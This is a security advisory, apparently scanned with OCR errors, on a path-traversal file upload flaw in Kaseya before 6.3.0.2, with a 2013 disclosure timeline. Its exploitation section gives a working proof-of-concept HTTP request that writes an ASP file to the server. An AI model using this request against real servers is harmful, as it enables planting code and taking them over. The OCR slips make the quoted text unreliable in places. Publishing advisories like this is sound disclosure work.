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Kaseya Arbitrary File Upload Vulnerability
Affected versions: < 6.3.0.2

PDF: http://security-
assessment.com/files/documents/advisory/Kaseya%s20File%20Upload. pdf
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|[EXplLoltation|

POST /SystemTab/uploadImage.asp?filename=..\..\..\..\test.asp HTTP/1.1
Host: <host>

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101
Firefox/22.0

FirePHP/0.7.2

Referer: http://<host>/SystemTab/uploadImage.asp

Cookie: ASPSESSIONIDQATSBAQC=<valid session>;

Connection: keep-alive

Content-Type: multipart/form-data; boundary=---------------------------
19172947220212

Content-Length: 89

----------------------------- 19172947220212
Content-Disposition: form-data; name="uploadFile"; filename="test.asp"
Content-Type: application/octet-stream

<IDOCTYPE html>

<html>

<body>

<%

response.write("Hello World!")
%>
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</body>
</html>

----------------------------- 19172947220212- -

9/10/2013 Bug discovered, vendor contacted

20/10/2013 Vendor responds with email address for security contact.
Advisory sent to security contact.

30/10/2013 Vendor advises that patch for the reported issue is to be
included in next patch cycle.

12/11/2013 Patch released.

18/11/2013 Advisory publically released.
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